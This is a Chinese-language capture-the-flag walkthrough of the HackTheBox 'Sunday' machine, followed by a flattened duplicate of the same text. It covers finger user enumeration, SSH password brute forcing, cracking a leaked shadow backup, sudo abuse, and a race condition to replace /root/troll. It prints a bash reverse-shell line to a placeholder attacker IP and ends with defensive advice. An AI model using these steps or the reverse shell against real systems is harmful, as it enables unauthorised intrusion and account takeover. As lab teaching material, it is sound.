hack the box之sunday靶场练习
字数 1339 2025-08-11 17:40:32

HackTheBox Sunday靶场渗透测试教学文档

1. 靶场概述

Sunday是HackTheBox上的一个中等难度靶机,涉及以下技术点:

  • 服务枚举与识别
  • Finger服务利用
  • SSH暴力破解
  • 特权命令滥用
  • 定时任务利用
  • 权限提升技术

2. 信息收集阶段

2.1 端口扫描

使用nmap进行端口扫描发现开放以下服务:

  • 79/tcp - finger服务(用户信息查询)
  • 111/tcp - rpcbind(远程过程调用)
  • 515/tcp - printer(打印服务)
  • 6787/tcp - ssl服务
  • 22022/tcp - SSH服务

2.2 服务探测

6787端口

  • 尝试弱口令、空口令、万能密码均无效
  • 目录扫描未发现有价值内容

79端口

  • 运行finger服务(RFC 1288)
  • 存在用户名枚举漏洞

3. 外网利用

3.1 用户枚举

使用finger-user-enum工具枚举用户:

finger-user-enum.pl -U /usr/share/wordlists/metasploit/unix_users.txt -t <target_ip>

发现三个有效用户:

  • root
  • sammy
  • sunny

3.2 SSH暴力破解

对sunny用户进行密码爆破,发现密码为"sunday"。

使用SSH连接:

ssh sunny@<target_ip> -p 22022

4. 内网信息收集

4.1 权限检查

检查sudo权限:

sudo -l

4.2 特权命令发现

发现/root/troll命令可以免密执行root权限命令:

sudo /root/troll

4.3 备份文件分析

在backup目录中发现shadow.backup文件:

cat /backup/shadow.backup

包含两个用户hash:

  • root:\(6\)...
  • sammy:\(6\)...

5. 密码破解

使用hashcat破解sammy用户hash:

hashcat -m 1800 -a 0 hash.txt rockyou.txt

获得密码:"cooldude!"

切换用户:

su sammy

6. 权限提升

6.1 特权命令分析

sammy用户可以免密执行以下root命令:

sudo /root/troll

6.2 提权尝试

  1. 尝试替换/root/troll为反弹shell脚本失败
  2. 发现存在定时任务定期恢复troll文件

解决方案:

  • 创建包含sleep的脚本延迟执行
  • 在sleep期间手动替换troll文件

反弹shell脚本示例:

#!/bin/bash
sleep 10
bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1

执行流程:

  1. 上传脚本
  2. 执行sudo /root/troll
  3. 快速替换/root/troll为反弹shell脚本
  4. 等待连接

6.3 获取root权限

成功获取root shell后查看flag:

cat /root/root.txt

7. 技术总结

  1. Finger服务利用:古老的finger服务常存在用户枚举漏洞
  2. 弱密码利用:对枚举出的用户进行密码爆破
  3. 备份文件泄露:检查常见备份目录和文件
  4. 特权命令滥用:分析sudo权限和可执行文件
  5. 定时任务竞争:利用时间差绕过文件恢复机制

8. 防御建议

  1. 禁用不必要的古老服务(如finger)
  2. 使用强密码策略
  3. 限制备份文件的访问权限
  4. 严格控制sudo权限
  5. 对特权命令实施完整性检查
  6. 使用文件监控防止关键文件被篡改

9. 工具清单

  • nmap - 端口扫描
  • finger-user-enum - finger服务用户枚举
  • hydra/medusa - SSH暴力破解
  • hashcat - 密码hash破解
  • netcat - 反弹shell监听

10. 扩展练习

  1. 尝试通过515打印服务获取入口
  2. 探索6787端口的其他利用方式
  3. 研究rpcbind服务的安全隐患
  4. 开发自动化脚本完成整个渗透流程
HackTheBox Sunday靶场渗透测试教学文档 1. 靶场概述 Sunday是HackTheBox上的一个中等难度靶机,涉及以下技术点: 服务枚举与识别 Finger服务利用 SSH暴力破解 特权命令滥用 定时任务利用 权限提升技术 2. 信息收集阶段 2.1 端口扫描 使用nmap进行端口扫描发现开放以下服务: 79/tcp - finger服务(用户信息查询) 111/tcp - rpcbind(远程过程调用) 515/tcp - printer(打印服务) 6787/tcp - ssl服务 22022/tcp - SSH服务 2.2 服务探测 6787端口 : 尝试弱口令、空口令、万能密码均无效 目录扫描未发现有价值内容 79端口 : 运行finger服务(RFC 1288) 存在用户名枚举漏洞 3. 外网利用 3.1 用户枚举 使用finger-user-enum工具枚举用户: 发现三个有效用户: root sammy sunny 3.2 SSH暴力破解 对sunny用户进行密码爆破,发现密码为"sunday"。 使用SSH连接: 4. 内网信息收集 4.1 权限检查 检查sudo权限: 4.2 特权命令发现 发现/root/troll命令可以免密执行root权限命令: 4.3 备份文件分析 在backup目录中发现shadow.backup文件: 包含两个用户hash: root:$6$... sammy:$6$... 5. 密码破解 使用hashcat破解sammy用户hash: 获得密码:"cooldude !" 切换用户: 6. 权限提升 6.1 特权命令分析 sammy用户可以免密执行以下root命令: 6.2 提权尝试 尝试替换/root/troll为反弹shell脚本失败 发现存在定时任务定期恢复troll文件 解决方案: 创建包含sleep的脚本延迟执行 在sleep期间手动替换troll文件 反弹shell脚本示例: 执行流程: 上传脚本 执行sudo /root/troll 快速替换/root/troll为反弹shell脚本 等待连接 6.3 获取root权限 成功获取root shell后查看flag: 7. 技术总结 Finger服务利用 :古老的finger服务常存在用户枚举漏洞 弱密码利用 :对枚举出的用户进行密码爆破 备份文件泄露 :检查常见备份目录和文件 特权命令滥用 :分析sudo权限和可执行文件 定时任务竞争 :利用时间差绕过文件恢复机制 8. 防御建议 禁用不必要的古老服务(如finger) 使用强密码策略 限制备份文件的访问权限 严格控制sudo权限 对特权命令实施完整性检查 使用文件监控防止关键文件被篡改 9. 工具清单 nmap - 端口扫描 finger-user-enum - finger服务用户枚举 hydra/medusa - SSH暴力破解 hashcat - 密码hash破解 netcat - 反弹shell监听 10. 扩展练习 尝试通过515打印服务获取入口 探索6787端口的其他利用方式 研究rpcbind服务的安全隐患 开发自动化脚本完成整个渗透流程